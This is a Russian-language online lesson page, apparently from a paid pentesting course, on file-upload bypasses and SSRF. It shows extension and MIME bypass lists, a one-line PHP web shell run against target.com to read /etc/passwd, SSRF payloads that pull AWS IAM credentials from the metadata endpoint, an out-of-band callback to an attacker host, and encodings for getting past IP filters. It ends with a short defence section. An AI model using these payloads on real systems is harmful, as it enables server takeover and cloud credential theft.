0Pricing
Cyber Security Academy · Урок

Уязвимости загрузки файлов и SSRF

Обходите ограничения загрузки файлов, эксплуатируйте SSRF для доступа к внутренним сервисам и объединяйте уязвимости в цепочки.

«Уязвимости загрузки файлов и SSRF» — бесплатный урок Cyber Security Academy на CoddyKit. Это урок 4 из 4. Ты можешь прочитать весь урок бесплатно ниже — а потом практиковать его прямо в браузере с встроенным редактором кода и ИИ-репетитором 24/7. Это часть пути обучения Cyber Security Academy, и твой прогресс синхронизируется между веб-версией и приложением CoddyKit. Курс Cyber Security Academy содержит 4 уроков всего.

Уязвимости загрузки файлов

Функция загрузки файлов — одна из наиболее рискованных возможностей веб-приложений. Недостаточная проверка позволяет загружать исполняемые файлы (PHP, JSP, ASPX), которые затем выполняются сервером, что приводит к удалённому выполнению кода.

Базовый обход фильтра расширений при загрузке

Фильтры расширений на стороне клиента и фильтры на основе чёрных списков можно обойти. Попробуйте двойные расширения (.php.jpg), разные регистры (.PhP), нулевые байты (file.php%00.jpg) и альтернативные расширения (.php5, .phtml, .phar).

# Try alternative PHP extensions:
file.php
file.php5
file.phtml
file.phar
file.php.jpg
file.php%00.jpg
file.PhP

# ASP/ASPX alternatives:
file.asp
file.aspx
file.asa
file.cer

Обход проверки типа MIME

Серверы часто проверяют заголовок Content-Type, а не фактическое содержимое файла. Перехватите запрос загрузки в Burp и измените Content-Type с application/x-php на image/jpeg.

# In Burp Repeater, modify:
Content-Type: image/jpeg

# While keeping the file content as PHP:
<?php system($_GET["cmd"]); ?>

Обход проверки магических байтов

Некоторые серверы проверяют магические байты файла (первые байты файла). Добавьте перед полезной нагрузкой PHP действительные магические байты изображения, чтобы пройти проверку и сохранить исполняемое содержимое.

# Prepend JPEG magic bytes:
\xFF\xD8\xFF + PHP payload

# Or add GIF header:
GIF89a
<?php system($_GET["cmd"]); ?>

Веб-оболочка после загрузки

После загрузки PHP/JSP-файла, доступного по URL, вызовите его для выполнения команд. Самая простая веб-оболочка:

# Upload this as shell.php:
<?php system($_GET["cmd"]); ?>

# Access via browser:
http://target.com/uploads/shell.php?cmd=id
http://target.com/uploads/shell.php?cmd=whoami
http://target.com/uploads/shell.php?cmd=cat+/etc/passwd

Что такое SSRF

Подделка серверных запросов (SSRF) заставляет сервер выполнять HTTP-запросы к произвольным URL от имени атакующего. Это обеспечивает доступ к внутренним сервисам, API метаданных облака и внутренним административным интерфейсам.

Базовое обнаружение SSRF

Найдите параметры, принимающие URL (вебхуки, URL предварительного просмотра, конечные точки получения данных, URL изображений). Внедряйте внутренние адреса и наблюдайте за ответами: истечение времени ожидания, отказ в соединении или действительный ответ показывают, что доступно.

# Test URL parameters:
?url=http://127.0.0.1/
?url=http://169.254.169.254/  # AWS metadata
?url=http://internal-service:8080/admin

# Burp Collaborator for blind SSRF:
?url=http://your-collaborator-id.oastify.com/

API метаданных AWS через SSRF

Сервис метаданных экземпляра AWS (IMDS) по адресу 169.254.169.254 раскрывает учётные данные роли IAM. SSRF к этой конечной точке может раскрыть облачные учётные данные и обеспечить полный захват учётной записи.

# SSRF payload targeting AWS metadata:
?url=http://169.254.169.254/latest/meta-data/
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Returns:
# {"AccessKeyId":"ASIA...", "SecretAccessKey":"..."}

SSRF вслепую

Если тело ответа не отражается, используйте внеполосные методы: DNS-запрос к Burp Collaborator подтверждает доступность, а HTTP-обратный вызов с данными в пути извлекает информацию.

# Interactsh as alternative to Burp Collaborator:
# https://github.com/projectdiscovery/interactsh

?url=http://attacker.interactsh.com/ssrf-test

Методы обхода SSRF

Фильтры, блокирующие очевидные внутренние IP-адреса, можно обойти с помощью кодирования IP (десятичное 0x7f000001 = 127.0.0.1), переброса DNS, альтернативных адресов обратной петли (127.1, 0.0.0.0) и перенаправления URL.

# Alternative representations of 127.0.0.1:
http://127.1
http://2130706433  # decimal
http://0x7f000001  # hex
http://0177.0.0.1  # octal
http://localhost

Защита от загрузки файлов и SSRF

Загрузка файлов: разрешайте только безопасные расширения, храните файлы вне корня веб-сервера, переименовывайте файлы на сервере и обслуживайте их через CDN. SSRF: разрешайте только допустимые URL и диапазоны IP, отключайте ненужные функции получения данных по URL и принудительно используйте IMDSv2 в AWS.

Быстрая проверка

На какой IP-адрес направлена атака SSRF для кражи учётных данных AWS?

Итоги: загрузка файлов и SSRF

Недостатки загрузки файлов приводят к удалённому выполнению кода, а SSRF — к доступу к внутренней сети и краже учётных данных. Проверяйте загрузку с помощью обходов проверки расширения, типа MIME и магических байтов. Проверяйте параметры URL на наличие SSRF, обращаясь к localhost, внутренним подсетям и API метаданных облака. Для обоих классов проблем нужна эшелонированная защита: разрешительные списки вместо чёрных списков, сегментация сети и усиление защиты облака.

Часто задаваемые вопросы

Урок «Уязвимости загрузки файлов и SSRF» бесплатный?

Да — полный текст урока «Уязвимости загрузки файлов и SSRF» бесплатно доступен здесь в веб-версии. Чтобы практиковать его интерактивно (встроенный редактор кода и ИИ-репетитор 24/7) и разблокировать остальной курс Cyber Security Academy, подпишись на CoddyKit PRO. Курс Cyber Security Academy содержит 4 уроков всего.

Чему я научусь в уроке «Уязвимости загрузки файлов и SSRF»?

Обходите ограничения загрузки файлов, эксплуатируйте SSRF для доступа к внутренним сервисам и объединяйте уязвимости в цепочки. Ты практикуешь Cyber Security Academy с помощью реального кода, который запускаешь прямо в браузере, и ИИ-репетитор 24/7 отвечает на твои вопросы во время урока.

Нужен ли мне опыт, чтобы начать Cyber Security Academy?

Предыдущий опыт не требуется. Cyber Security Academy на CoddyKit структурирован для всех уровней — от новичков до продвинутых, поэтому ты можешь начать отсюда или с самого начала и учиться в своем темпе. Это урок 4 из 4.

Сколько времени занимает урок «Уязвимости загрузки файлов и SSRF»?

Большинство уроков CoddyKit занимают около 5–10 минут. Каждый из них компактный и интерактивный, поэтому ты постоянно делаешь прогресс и продолжаешь с того же места в веб-версии и приложении.

Можно ли писать и запускать код в этом уроке Cyber Security Academy?

Да. Каждый урок Cyber Security Academy включает встроенный редактор кода, поэтому ты пишешь и запускаешь реальный код прямо в браузере и получаешь моментальную обратную связь от AI — локальная установка не требуется.

Все уроки этого курса

  1. Прокси Burp Suite и перехват запросов
  2. Тестирование уязвимостей внедрения
  3. Тестирование аутентификации и сеансов
  4. Уязвимости загрузки файлов и SSRF
← Назад к Cyber Security Academy